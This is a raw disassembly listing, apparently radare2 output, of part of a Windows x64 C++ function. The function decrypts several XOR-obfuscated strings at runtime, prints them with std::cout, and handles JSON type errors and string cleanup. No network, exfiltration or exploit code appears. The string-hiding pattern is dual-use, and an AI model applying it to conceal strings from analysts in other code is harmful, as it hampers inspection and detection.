call fcn.140008580
mov byte [rsp + 0x58], 3
call fcn.14000a300
mov qword [rsp + 0x60], rax
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x850
mov eax, dword [rcx + rdi]
mov ebx, 0x6f0
add rbx, rdi
test al, 1
jne 0x14000fa4d
or eax, 1
mov dword [rcx + rdi], eax
mov word [rbx + 9], 0x171
mov dword [rbx], 0x8c48106e
mov dword [rbx + 4], 0x477a2f64
mov byte [rbx + 8], 0x61
lea rcx, [0x1400a8dd0]
call fcn.140093de0
nop
cmp byte [rbx + 0xa], 0
je 0x14000fa7e
xor byte [rbx], 9
xor byte [rbx + 1], 0x71
xor byte [rbx + 2], 0x25
xor byte [rbx + 3], 0xe9
xor byte [rbx + 4], 0x3b
xor byte [rbx + 5], 0x5f
xor byte [rbx + 6], 0x1b
xor byte [rbx + 7], 0x33
xor byte [rbx + 8], 9
xor byte [rbx + 9], 0x71
mov byte [rbx + 0xa], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], r12
mov qword [rbp + 0x48], r12
nop dword [rax]
inc rsi
cmp byte [rbx + rsi], 0
jne 0x14000fa90
mov r8, rsi
mov rdx, rbx
lea rcx, [rbp + 0x30]
call fcn.140009a30
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x158]
call fcn.140007060
nop
movzx edx, byte [rax]
movzx ecx, byte [rsp + 0x58]
mov byte [rax], cl
mov byte [rsp + 0x58], dl
mov rcx, qword [rax + 8]
mov rdx, qword [rsp + 0x60]
mov qword [rax + 8], rdx
mov qword [rsp + 0x60], rcx
movzx edx, byte [rsp + 0x58]
lea rcx, [rsp + 0x60]
call fcn.140008580
nop
lea rcx, [rbp + 0x158]
call fcn.140020fb0
mov rdx, qword [0x1400de8a8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140009130
mov rsi, rax
movdqa xmm0, xmmword [0x1400ba3f0]
mov dword [rbp + 0x130], 0x1439d218
mov dword [rbp + 0x134], 0xa74d8549
mov word [rbp + 0x138], 0xb77f
mov ecx, 0x670
mov eax, dword [rcx + rdi]
mov edx, 0x880
test al, 1
jne 0x14000fbb2
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdi + rdx]
mov byte [rbx + 0x1a], 1
lea rax, [rbx + 0x19]
lea rcx, [rbp + 0x139]
cmp rbx, rcx
ja 0x14000fb88
lea rcx, [rbp + 0x120]
cmp rax, rcx
jb 0x14000fb88
movups xmmword [rbx], xmm0
movsd xmm0, qword [rbp + 0x130]
movsd qword [rbx + 0x10], xmm0
movzx eax, word [rbp + 0x138]
mov word [rbx + 0x18], ax
jmp 0x14000fba3
movups xmmword [rbx], xmm0
movsd xmm0, qword [rbp + 0x130]
movsd qword [rbx + 0x10], xmm0
movzx eax, word [rbp + 0x138]
mov word [rbx + 0x18], ax
lea rcx, [0x1400a8da0]
call fcn.140093de0
nop
jmp 0x14000fbb6
lea rbx, [rdi + rdx]
cmp byte [rbx + 0x1a], 0
je 0x14000fc27
xor byte [rbx], 0x75
xor byte [rbx + 1], 0xb7
xor byte [rbx + 2], 0x49
xor byte [rbx + 3], 0x75
xor byte [rbx + 4], 0x3d
xor byte [rbx + 5], 0xed
xor byte [rbx + 6], 0x63
xor byte [rbx + 7], 0xad
xor byte [rbx + 8], 0x75
xor byte [rbx + 9], 0xb7
xor byte [rbx + 0xa], 0x49
xor byte [rbx + 0xb], 0x75
xor byte [rbx + 0xc], 0x3d
xor byte [rbx + 0xd], 0xed
xor byte [rbx + 0xe], 0x63
xor byte [rbx + 0xf], 0xad
xor byte [rbx + 0x10], 0x75
xor byte [rbx + 0x11], 0xb7
xor byte [rbx + 0x12], 0x49
xor byte [rbx + 0x13], 0x75
xor byte [rbx + 0x14], 0x3d
xor byte [rbx + 0x15], 0xed
xor byte [rbx + 0x16], 0x63
xor byte [rbx + 0x17], 0xad
xor byte [rbx + 0x18], 0x75
xor byte [rbx + 0x19], 0xb7
mov byte [rbx + 0x1a], 0
mov rdx, rbx
mov rcx, rsi
call fcn.140009130
mov rdx, qword [0x1400de8c0]
mov rcx, rax
call fcn.140009130
mov rsi, rax
movdqa xmm0, xmmword [0x1400ba4c0]
movdqa xmm1, xmmword [0x1400ba550]
mov dword [rbp + 0x240], 0x4415d219
mov dword [rbp + 0x244], 0x9c57c30f
mov ecx, 0x868
mov eax, dword [rcx + rdi]
mov edx, 0x6a0
test al, 1
jne 0x14000fce4
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdi + rdx]
mov byte [rbx + 0x29], 1
lea rax, [rbx + 0x28]
lea rcx, [rbp + 0x248]
cmp rbx, rcx
ja 0x14000fcbd
lea rcx, [rbp + 0x220]
cmp rax, rcx
jb 0x14000fcbd
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
movsd xmm0, qword [rbp + 0x240]
movsd qword [rbx + 0x20], xmm0
mov byte [rbx + 0x28], 0x75
jmp 0x14000fcd5
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
movsd xmm0, qword [rbp + 0x240]
movsd qword [rbx + 0x20], xmm0
mov byte [rbx + 0x28], 0x75
lea rcx, [0x1400a8d70]
call fcn.140093de0
nop
jmp 0x14000fce8
lea rbx, [rdi + rdx]
cmp byte [rbx + 0x29], 0
je 0x14000fd99
xor byte [rbx], 0x75
xor byte [rbx + 1], 0xb7
xor byte [rbx + 2], 0x49
xor byte [rbx + 3], 0x75
xor byte [rbx + 4], 0x3d
xor byte [rbx + 5], 0xed
xor byte [rbx + 6], 0x63
xor byte [rbx + 7], 0xad
xor byte [rbx + 8], 0x75
xor byte [rbx + 9], 0xb7
xor byte [rbx + 0xa], 0x49
xor byte [rbx + 0xb], 0x75
xor byte [rbx + 0xc], 0x3d
xor byte [rbx + 0xd], 0xed
xor byte [rbx + 0xe], 0x63
xor byte [rbx + 0xf], 0xad
xor byte [rbx + 0x10], 0x75
xor byte [rbx + 0x11], 0xb7
xor byte [rbx + 0x12], 0x49
xor byte [rbx + 0x13], 0x75
xor byte [rbx + 0x14], 0x3d
xor byte [rbx + 0x15], 0xed
xor byte [rbx + 0x16], 0x63
xor byte [rbx + 0x17], 0xad
xor byte [rbx + 0x18], 0x75
xor byte [rbx + 0x19], 0xb7
xor byte [rbx + 0x1a], 0x49
xor byte [rbx + 0x1b], 0x75
xor byte [rbx + 0x1c], 0x3d
xor byte [rbx + 0x1d], 0xed
xor byte [rbx + 0x1e], 0x63
xor byte [rbx + 0x1f], 0xad
xor byte [rbx + 0x20], 0x75
xor byte [rbx + 0x21], 0xb7
xor byte [rbx + 0x22], 0x49
xor byte [rbx + 0x23], 0x75
xor byte [rbx + 0x24], 0x3d
xor byte [rbx + 0x25], 0xed
xor byte [rbx + 0x26], 0x63
xor byte [rbx + 0x27], 0xad
xor byte [rbx + 0x28], 0x75
mov byte [rbx + 0x29], 0
mov rdx, rbx
mov rcx, rsi
call fcn.140009130
lea rdx, [0x140009300]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
movzx edx, byte [rbp + 0x158]
lea rcx, [rbp + 0x160]
call fcn.140008580
nop
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0x10
jb 0x14000fe0d
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000fe08
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000fe08
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140093d04
mov qword [rbp + 0xd0], r12
mov qword [rbp + 0xd8], 0xf
mov byte [rbp + 0xc0], 0
cmp r13, 0x10
jb 0x14000fe65
lea rdx, [r13 + 1]
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000fe5f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000fe5f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140093d04
nop
mov rbx, qword [rsp + 0x78]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x14000fea0
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x14000fe9b
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000fed7
mov rcx, r8
call fcn.140093d04
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov eax, 1
mov rcx, qword [rbp + 0x3e0]
xor rcx, rsp
call fcn.140093980
add rsp, 0x4f8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rcx, rax
call fcn.140007f50
mov qword [rsp + 0x50], rax
lea r8, [rsp + 0x50]
lea rcx, [rbp - 0x58]
call fcn.14000c5c0
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rbp + 0x30]
call fcn.140009560
lea rdx, [0x1400d6ec8]
lea rcx, [rbp + 0x30]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov rcx, rax
call fcn.140007f50
mov qword [rsp + 0x78], rax
lea r8, [rsp + 0x78]
lea rdx, str.type_must_be_string__but_is
lea rcx, [rbp - 0x58]
call fcn.14000c9b0
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rbp + 0x30]
call fcn.140009560
lea rdx, [0x1400d6ec8]
lea rcx, [rbp + 0x30]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
call fcn.140001ea0
int3
call fcn.140001dd0
nop
mov rcx, rax
call fcn.140007f50
mov qword [rsp + 0x50], rax
lea r8, [rsp + 0x50]
lea rcx, [rbp - 0x58]
call fcn.14000c5c0
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rbp + 0x30]
call fcn.140009560
lea rdx, [0x1400d6ec8]
lea rcx, [rbp + 0x30]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov rcx, rax
call fcn.140007f50
mov qword [rsp + 0x50], rax
lea r8, [rsp + 0x50]
lea rcx, [rbp - 0x58]
call fcn.14000c5c0
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rbp + 0x30]
call fcn.140009560
lea rdx, [0x1400d6ec8]
lea rcx, [rbp + 0x30]
call sub.VCRUNTIME140.dll__CxxThrowException
int3